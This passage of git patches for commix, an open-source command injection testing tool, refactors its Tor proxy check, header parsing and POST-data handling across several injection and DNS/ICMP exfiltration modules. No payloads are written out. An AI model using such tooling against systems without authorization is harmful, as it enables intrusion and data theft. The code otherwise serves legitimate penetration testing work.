+ if check_tor_http_proxy:
try:
check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC)
- found_ip = re.findall(r": " + "(.*)" + "
", check_tor_page)
if not "You are not using Tor" in check_tor_page:
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
@@ -68,6 +56,7 @@ def do_check():
info_msg = "Tor connection is properly set. "
else:
info_msg = ""
+ found_ip = re.findall(r": " + "(.*)" + "", check_tor_page)
info_msg += "Your ip address appears to be " + found_ip[0] + ".\n"
sys.stdout.write(settings.print_bold_info_msg(info_msg))
warn_msg = "Increasing default value for option '--time-sec' to"
@@ -80,9 +69,9 @@ def do_check():
err_msg = "It seems that your Tor connection is not properly set. "
else:
err_msg = ""
- err_msg += "Can't establish connection with the Tor SOCKS proxy. "
+ err_msg += "Can't establish connection with the Tor HTTP proxy. "
err_msg += "Please make sure that you have "
- err_msg += "Tor installed and running so "
+ err_msg += "Tor bundle installed and running so "
err_msg += "you could successfully use "
err_msg += "switch '--tor'."
print(settings.print_critical_msg(err_msg))
@@ -95,7 +84,7 @@ def do_check():
else:
err_msg = ""
err_msg = "Please make sure that you have "
- err_msg += "Tor installed and running so "
+ err_msg += "Tor bundle installed and running so "
err_msg += "you could successfully use "
err_msg += "switch '--tor'."
print(settings.print_critical_msg(err_msg))
@@ -118,8 +107,8 @@ def use_tor(request):
raise SystemExit()
try:
- privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT})
- opener = _urllib.request.build_opener(privoxy_proxy)
+ tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT})
+ opener = _urllib.request.build_opener(tor_http_proxy)
_urllib.request.install_opener(opener)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7fb0c2fd69..cbf11ef120 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "48"
+REVISION = "49"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -560,9 +560,10 @@ def sys_argv_errors():
# Default Scheme
SCHEME = ""
-# Privoxy Proxy
-PRIVOXY_IP = "127.0.0.1"
-PRIVOXY_PORT = "8118"
+# TOR HTTP Proxy
+TOR_HTTP_PROXY_IP = "127.0.0.1"
+TOR_HTTP_PROXY_PORT = "8118"
+TOR_HTTP_PROXY_SCHEME = "https"
# Cookie injection
COOKIE_INJECTION = False
From e81703654e4a139db520bdf8ff9d793318d452ea Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 20 Jan 2022 18:16:41 +0200
Subject: [PATCH 054/560] Minor update
---
src/core/main.py | 24 ++++++++++++------------
src/utils/settings.py | 2 +-
2 files changed, 13 insertions(+), 13 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index e20a5b0db2..4d5204ecf4 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -824,18 +824,6 @@ def main(filename, url):
if "=" in settings.TEST_PARAMETER[i]:
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
- # Check for HTTP Method
- if len(settings.HTTP_METHOD) != 0:
- http_request_method = settings.HTTP_METHOD.upper()
- else:
- if not menu.options.data or \
- not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \
- settings.INJECT_TAG in menu.options.url or \
- [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]:
- http_request_method = settings.HTTPMETHOD.GET
- else:
- http_request_method = settings.HTTPMETHOD.POST
-
# Define the level of tests to perform.
if menu.options.level > 3:
err_msg = "The value for option '--level' "
@@ -858,6 +846,18 @@ def main(filename, url):
elif menu.options.requestfile or menu.options.logfile:
parser.logfile_parser()
+ # Check for HTTP Method
+ if len(settings.HTTP_METHOD) != 0:
+ http_request_method = settings.HTTP_METHOD.upper()
+ else:
+ if not menu.options.data or \
+ not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \
+ settings.INJECT_TAG in menu.options.url or \
+ [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]:
+ http_request_method = settings.HTTPMETHOD.GET
+ else:
+ http_request_method = settings.HTTPMETHOD.POST
+
if menu.options.offline:
settings.CHECK_FOR_UPDATES_ON_START = False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index cbf11ef120..122d1e45d4 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "49"
+REVISION = "50"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 0a129a05897fe7487c5c0ccf6a2ba6515e7fcf93 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 21 Jan 2022 08:25:46 +0200
Subject: [PATCH 055/560] Minor update
---
src/core/requests/headers.py | 6 +++++-
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 850f794689..1376b770a7 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -320,6 +320,8 @@ def do_check(request):
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
request.add_header("Content-Type", "application/json")
+ if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
+ request.add_header("Content-Type", "text/xml")
# Appends a fake HTTP header 'X-Forwarded-For'
if settings.TAMPER_SCRIPTS["xforwardedfor"]:
@@ -327,7 +329,8 @@ def do_check(request):
xforwardedfor.tamper(request)
# Default value for "Accept-Encoding" HTTP header
- request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
+ if not (menu.options.requestfile or menu.options.logfile):
+ request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic / Digest Access Authentication.
@@ -380,6 +383,7 @@ def do_check(request):
extra_headers = menu.options.header
extra_headers = extra_headers.replace(":",": ")
+
if ": //" in extra_headers:
extra_headers = extra_headers.replace(": //" ,"://")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 122d1e45d4..c3ad9fa745 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "50"
+REVISION = "51"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 299fa0797e685cf4074e0688860872767c55ab62 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 22 Jan 2022 16:58:41 +0200
Subject: [PATCH 056/560] Minor update
---
src/core/injections/controller/parser.py | 8 ++++----
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index aee6857af8..16631fee56 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -149,17 +149,17 @@ def invalid_data(request):
if re.findall(r"Host: " + "(.*)", line):
menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)])
# User-Agent Header
- elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile):
+ if re.findall(r"User-Agent: " + "(.*)", line):
menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)])
# Cookie Header
- elif re.findall(r"Cookie: " + "(.*)", line):
+ if re.findall(r"Cookie: " + "(.*)", line):
menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)])
# Referer Header
- elif re.findall(r"Referer: " + "(.*)", line):
+ if re.findall(r"Referer: " + "(.*)", line):
menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)])
if menu.options.referer and "https://" in menu.options.referer:
prefix = "https://"
- elif re.findall(r"Authorization: " + "(.*)", line):
+ if re.findall(r"Authorization: " + "(.*)", line):
auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split()
menu.options.auth_type = auth_provided[0].lower()
if menu.options.auth_type == "basic":
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c3ad9fa745..d7edd5c7b0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "51"
+REVISION = "52"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From eca27e074d74f088e90d8265801682cd69c2c2a6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 23 Jan 2022 09:22:56 +0200
Subject: [PATCH 057/560] Bug-fix regarding parsing raw HTTP headers from a
file (i.e. `-r` option).
---
doc/CHANGELOG.md | 1 +
src/core/requests/headers.py | 33 ++++++++++++++++++++++-----------
src/utils/settings.py | 5 +++--
3 files changed, 26 insertions(+), 13 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 02bdfbd41a..dc6398a556 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Fixed: Minor bug-fix regarding parsing JSON objects.
* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response.
* Added: Support for checking for not declared cookie(s).
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 1376b770a7..731a9eb0eb 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -301,7 +301,7 @@ def do_check(request):
request.add_header(settings.HOST, menu.options.host)
# Check if defined any User-Agent HTTP header.
- if menu.options.agent:
+ if menu.options.agent and settings.USER_AGENT_INJECTION == None:
request.add_header(settings.USER_AGENT, menu.options.agent)
# Check if defined any Referer HTTP header.
@@ -316,22 +316,22 @@ def do_check(request):
request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE)
# The MIME media type for JSON.
- if menu.options.data:
+ if menu.options.data and not (menu.options.requestfile or menu.options.logfile):
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
- request.add_header("Content-Type", "application/json")
- if re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
- request.add_header("Content-Type", "text/xml")
+ request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
+ elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
+ request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
+
+ # Default value for "Accept-Encoding" HTTP header
+ if not (menu.options.requestfile or menu.options.logfile):
+ request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
# Appends a fake HTTP header 'X-Forwarded-For'
if settings.TAMPER_SCRIPTS["xforwardedfor"]:
from src.core.tamper import xforwardedfor
xforwardedfor.tamper(request)
- # Default value for "Accept-Encoding" HTTP header
- if not (menu.options.requestfile or menu.options.logfile):
- request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
-
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic / Digest Access Authentication.
if menu.options.auth_cred and menu.options.auth_type:
@@ -398,7 +398,18 @@ def do_check(request):
# Remove empty strings
extra_headers = [x for x in extra_headers if x]
-
+ if menu.options.data:
+ # The MIME media type for JSON.
+ if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
+ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
+ if "Content-Type" not in str(extra_headers):
+ request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
+ elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
+ if "Content-Type" not in str(extra_headers):
+ request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
+ if "Accept-Encoding" not in str(extra_headers):
+ request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
+
for extra_header in extra_headers:
try:
# Extra HTTP Header name
@@ -414,7 +425,7 @@ def do_check(request):
settings.CUSTOM_HEADER_NAME = http_header_name
# Add HTTP Header name / value to the HTTP request
if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]:
- request.add_header(http_header_name.encode(settings.DEFAULT_CODEC), http_header_value.encode(settings.DEFAULT_CODEC))
+ request.add_header(http_header_name, http_header_value)
except:
pass
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d7edd5c7b0..0d4d0a3c13 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "52"
+REVISION = "53"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -722,8 +722,9 @@ def sys_argv_errors():
"utf-8-sig"
]
-# Default value for HTTP Accept-Encoding header
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate"
+HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json"
+HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml"
# Default server banner
SERVER_BANNER = ""
From d2d7ec39b2b807b3dbc6470499c1cbd001a42e34 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 24 Jan 2022 08:44:36 +0200
Subject: [PATCH 058/560] Fixes
https://github.com/commixproject/commix/issues/734
---
doc/CHANGELOG.md | 1 +
.../blind/techniques/time_based/tb_handler.py | 3 ++-
.../blind/techniques/time_based/tb_injector.py | 8 ++++----
src/core/injections/controller/controller.py | 10 +++++-----
.../results_based/techniques/classic/cb_handler.py | 3 ++-
.../results_based/techniques/classic/cb_injector.py | 8 ++++----
.../results_based/techniques/eval_based/eb_handler.py | 2 +-
.../results_based/techniques/eval_based/eb_injector.py | 8 ++++----
.../semiblind/techniques/file_based/fb_handler.py | 3 ++-
.../semiblind/techniques/file_based/fb_injector.py | 8 ++++----
.../semiblind/techniques/tempfile_based/tfb_handler.py | 3 ++-
.../techniques/tempfile_based/tfb_injector.py | 8 ++++----
src/core/modules/dns_exfiltration/dns_exfiltration.py | 6 ++++--
.../modules/icmp_exfiltration/icmp_exfiltration.py | 7 +++++--
src/utils/settings.py | 4 ++--
15 files changed, 46 insertions(+), 36 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index dc6398a556..6cd1a56d48 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.4 (TBA)
+* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Fixed: Minor bug-fix regarding parsing JSON objects.
* Added: New option ( `--drop-set-cookie`) for ignoring Set-Cookie header from response.
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 91db9fdc07..7335eb83da 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -375,7 +375,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
header_name = ""
the_type = " parameter"
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 069a8a8c97..a55951dc0e 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -45,8 +45,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
end = 0
start = time.time()
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
target = url.replace(settings.INJECT_TAG, payload)
@@ -92,8 +92,8 @@ def injection_test(payload, http_request_method, url):
end = 0
start = time.time()
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 110a7889f2..01d48e8882 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -564,7 +564,7 @@ def get_request(url, http_request_method, filename, timesec):
"""
def post_request(url, http_request_method, filename, timesec):
- # Check if HTTP Method is POST.
+
parameter = menu.options.data
found_parameter = parameters.do_POST_check(parameter, http_request_method)
@@ -636,10 +636,10 @@ def basic_level_checks():
settings.SKIP_COMMAND_INJECTIONS = False
settings.IDENTIFIED_WARNINGS = False
settings.IDENTIFIED_PHPINFO = False
- # Check if HTTP Method is GET.
- if http_request_method != settings.HTTPMETHOD.POST:
- get_request(url, http_request_method, filename, timesec)
- # Check if HTTP Method is POST.
+
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
+ get_request(url, http_request_method, filename, timesec)
else:
post_request(url, http_request_method, filename, timesec)
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 51c0fd190c..cc3cb33ce6 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -246,7 +246,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
header_name = ""
the_type = " parameter"
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 6556937a4f..74c9c7d3a8 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -46,8 +46,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
if " " in payload:
payload = payload.replace(" ","%20")
# Define the vulnerable parameter
@@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index c0fbb291fe..848faab463 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
header_name = ""
the_type = " parameter"
- if http_request_method != settings.HTTPMETHOD.POST:
+ if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 9442feb0a7..dc1140d79d 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -40,8 +40,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
@@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 0883cad0a0..fc485b4979 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -465,7 +465,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
header_name = ""
the_type = " parameter"
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 1eda1e4e04..f52657da28 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -42,8 +42,8 @@
"""
def injection_test(payload, http_request_method, url):
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
@@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
payload = payload.replace(" ","%20")
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 18e6efe33a..878f794768 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -414,7 +414,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
else:
header_name = ""
the_type = " parameter"
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index dae11ba1a4..6af66fa9a7 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
end = 0
start = time.time()
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
@@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url):
end = 0
start = time.time()
- # Check if defined HTTP method is not POST.
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
payload = payload.replace("#","%23")
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 17cd1a01d8..0e9f173190 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -68,7 +68,8 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter):
if settings.VERBOSITY_LEVEL != 0:
sys.stdout.write("\n" + settings.print_payload(payload))
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
request = url + data
@@ -186,7 +187,8 @@ def dns_exfiltration_handler(url, http_request_method):
print("\n" + settings.print_critical_msg(err_msg))
os._exit(0)
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
#url = parameters.do_GET_check(url, http_request_method)
vuln_parameter = parameters.vuln_GET_param(url)
request = _urllib.request.Request(url)
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 732d1db9a8..5e0bc7e63b 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -84,7 +84,9 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
- if http_request_method != settings.HTTPMETHOD.POST:
+
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
req = url + data
@@ -213,7 +215,8 @@ def icmp_exfiltration_handler(url, http_request_method):
print(settings.print_critical_msg(err_msg) + "\n")
os._exit(0)
- if http_request_method != settings.HTTPMETHOD.POST:
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA:
#url = parameters.do_GET_check(url, http_request_method)
request = _urllib.request.Request(url)
headers.do_check(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0d4d0a3c13..8dfe2941a3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "53"
+REVISION = "54"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -295,7 +295,7 @@ def sys_argv_errors():
SKIP_COMMAND_INJECTIONS = False
# User-defined stored post data.
-USER_DEFINED_POST_DATA = ""
+USER_DEFINED_POST_DATA = False
# The wildcard character
WILDCARD_CHAR = "*"
From 2bf08e9c83fb51e94f6e9a81e168b557ccd4f5b8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 25 Jan 2022 12:46:52 +0200
Subject: [PATCH 059/560] Minor update
---
src/utils/crawler.py | 4 ++--
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index e4f0d0a91c..fec1c7a22f 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -72,7 +72,7 @@ def request(url):
err_msg = str(err_msg) + " - Skipping " + str(url)
sys.stdout.write(settings.print_critical_msg(err_msg))
if settings.VERBOSITY_LEVEL >= 2:
- print("")
+ print(settings.SINGLE_WHITESPACE)
SKIPPED_URLS += 1
@@ -257,7 +257,7 @@ def crawler(url):
print(settings.SINGLE_WHITESPACE)
if not settings.VERBOSITY_LEVEL >= 2:
- print("")
+ print(settings.SINGLE_WHITESPACE)
info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
filename = store_crawling()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8dfe2941a3..85be98352a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "54"
+REVISION = "55"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 4c9922509e1eb80245c9d1d7e3e008d444ebc2ff Mon Sep 17 00:00:00 2001
From: stasinopoulos
